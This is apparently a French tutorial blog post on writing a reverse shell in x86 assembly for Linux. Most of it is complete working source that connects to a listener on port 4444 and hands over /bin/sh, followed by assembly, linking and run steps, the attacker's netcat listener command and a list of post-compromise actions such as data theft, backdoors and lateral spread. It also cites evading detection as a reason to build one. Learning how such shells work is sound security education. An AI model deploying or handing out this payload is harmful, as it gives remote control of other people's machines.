🤔 Qu'est-ce qu'un Reverse Shell ?
Un reverse shell permet à un attaquant de prendre le contrôle d'une machine compromise en établissant une connexion inversée. Au lieu que l'attaquant se connecte directement à la machine cible, c'est la machine compromise qui initie la connexion vers l'attaquant.
🛠️ Pourquoi créer son propre Reverse Shell ?
Créer son propre reverse shell en assembleur permet de :
- Apprendre : Comprendre les fondamentaux des systèmes d'exploitation et des réseaux.
- Personnaliser : Adapter le code à des environnements spécifiques ou à des besoins particuliers.
- Éviter les détections : Les reverse shells personnalisés peuvent passer outre certaines défenses.
😅 Pourquoi c'est compliqué ?
L'assembleur est un langage de bas niveau qui nécessite une bonne compréhension du matériel et des instructions système. Cela inclut :
- Gestion des appels système : Manipuler directement les appels système pour ouvrir des fichiers, créer des sockets, et exécuter des commandes.
- Manipulation des registres : Utiliser des registres pour stocker des données et des adresses.
- Gestion de la mémoire : Gérer explicitement la mémoire, ce qui peut être source d'erreurs.
💡 Le Code : Explication Partie par Partie
Voici un exemple de reverse shell en assembleur :
section .data
filename db '/tmp/debug.txt', 0
message1 db 'Socket created', 0xA
message2 db 'Connected', 0xA
message3 db 'Executing shell', 0xA
message4 db 'Execve failed', 0xA
message_dup db 'Dup2 called', 0xA
message_exec db 'Execve called', 0xA
message_connect_failed db 'Connect failed', 0xA
ip_address db 127, 0, 0, 1 ; IP 127.0.0.1
ip_port dw 0x5C11 ; Port 4444 en hexadécimal (little-endian)
sh db '/bin/sh', 0
shell_prompt db '$ ', 0
msg_exit db 'Exiting...', 0xA
section .bss
sock resd 1
fd resd 1
section .text
global _start
_start:
; Ouvrir un fichier pour le débogage
xor eax, eax
mov al, 5 ; syscall: sys_open
lea ebx, [filename]
mov ecx, 0x241 ; flags: O_CREAT | O_WRONLY
mov edx, 0x180 ; mode: 0600
int 0x80
mov [fd], eax ; save file descriptor
; Écrire message1
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [message1]
mov edx, 14
int 0x80
; Créer un socket
xor eax, eax
mov al, 0x66 ; syscall: sys_socketcall
xor ebx, ebx
mov bl, 0x1 ; socket()
push byte 0x6 ; IPPROTO_TCP
push byte 0x1 ; SOCK_STREAM
push byte 0x2 ; AF_INET
mov ecx, esp ; pointer to args
int 0x80
mov [sock], eax ; save sockfd
; Écrire message de confirmation de création de socket
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [message1]
mov edx, 14
int 0x80
; Connecter au serveur
mov eax, 0x66 ; syscall: sys_socketcall
mov bl, 0x3 ; connect()
push dword [ip_address] ; push IP address
push word [ip_port] ; push port
push word 0x2 ; AF_INET
mov ecx, esp
push byte 0x10 ; sizeof(struct sockaddr)
push ecx ; pointer to sockaddr
push dword [sock] ; socket file descriptor
mov ecx, esp ; ecx points to args
int 0x80
; Vérifier si la connexion a échoué
cmp eax, -1
je connect_failed
; Écrire message2
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [message2]
mov edx, 10
int 0x80
; Rediriger stdin, stdout, stderr vers le socket
mov ebx, [sock]
xor ecx, ecx
dup_loop:
mov eax, 0x3f ; syscall: sys_dup2
int 0x80
inc ecx
cmp ecx, 3
jne dup_loop
; Écrire message pour dup2
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [message_dup]
mov edx, 12
int 0x80
; Écrire message avant execve
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [message_exec]
mov edx, 12
int 0x80
; Exécuter /bin/sh
xor eax, eax
push eax ; NULL (envp)
push eax ; NULL (argv[1])
lea ebx, [sh]
push ebx ; argv[0] = "/bin/sh"
mov ecx, esp ; argv
xor edx, edx ; envp = NULL
mov al, 0xb ; syscall: sys_execve
int 0x80
; Vérifier si execve a échoué
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [message4]
mov edx, 13
int 0x80
jmp exit
connect_failed:
; Écrire message de connexion échouée
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [message_connect_failed]
mov edx, 14
int 0x80
exit:
; Écrire message de sortie
mov eax, 4 ; syscall: sys_write
mov ebx, [fd]
lea ecx, [msg_exit]
mov edx, 11
int 0x80
; Quitter
xor eax, eax
inc eax
xor ebx, ebx
int 0x80
🖥️ Exécution du Reverse Shell
Pour exécuter ce code, il faut déjà avoir accès à la machine cible. Voici les étapes pour assembler, lier et exécuter ce reverse shell sur une machine Linux :
- Assembler le code :
nasm -f elf32 reverse_shell.asm -o reverse_shell.o - Lier l'objet :
ld -m elf_i386 -o reverse_shell reverse_shell.o - Exécuter le reverse shell :
./reverse_shell - Sur la machine de l'attaquant : Utilisez
nc -lvp 4444pour écouter les connexions entrantes.
🔍💻 Ce que l'on peut faire avec un Reverse Shell
Un reverse shell offre à l'attaquant une interface directe pour interagir avec le système cible comme s'il était physiquement présent. Voici quelques-unes des actions qu'un attaquant peut effectuer une fois qu'il a obtenu un reverse shell :
- Exécution de Commandes : 📜 Un reverse shell permet d'exécuter des commandes directement sur la machine cible, comme explorer les répertoires, lire et modifier des fichiers, ou gérer les processus en cours.
- Collecte de Données Sensibles : 📂🔒 Rechercher et extraire des informations sensibles telles que des fichiers de configuration, des données personnelles, etc.
- Escalade de Privilèges : 🔼 Tenter d'exploiter des vulnérabilités locales pour obtenir un accès administrateur.
- Installation de Backdoors : 🔑 Installer des backdoors pour maintenir un accès persistant à la machine.
- Établir des Communications Couvertes : 📡 Utiliser des outils pour créer des tunnels sécurisés ou rediriger le trafic réseau.
- Lancer des Attaques Internes : 🎯 Scanner le réseau interne, propager l'infection à d'autres machines, etc.
🌟 Conclusion
Créer un reverse shell en assembleur est un excellent exercice pour comprendre les interactions bas niveau avec le système d'exploitation. Bien que complexe, cela vous donne un aperçu approfondi du fonctionnement interne des systèmes et des réseaux. Soyez cependant conscient de l'éthique et de la légalité lorsque vous travaillez avec des outils de sécurité comme celui-ci. 🔐✨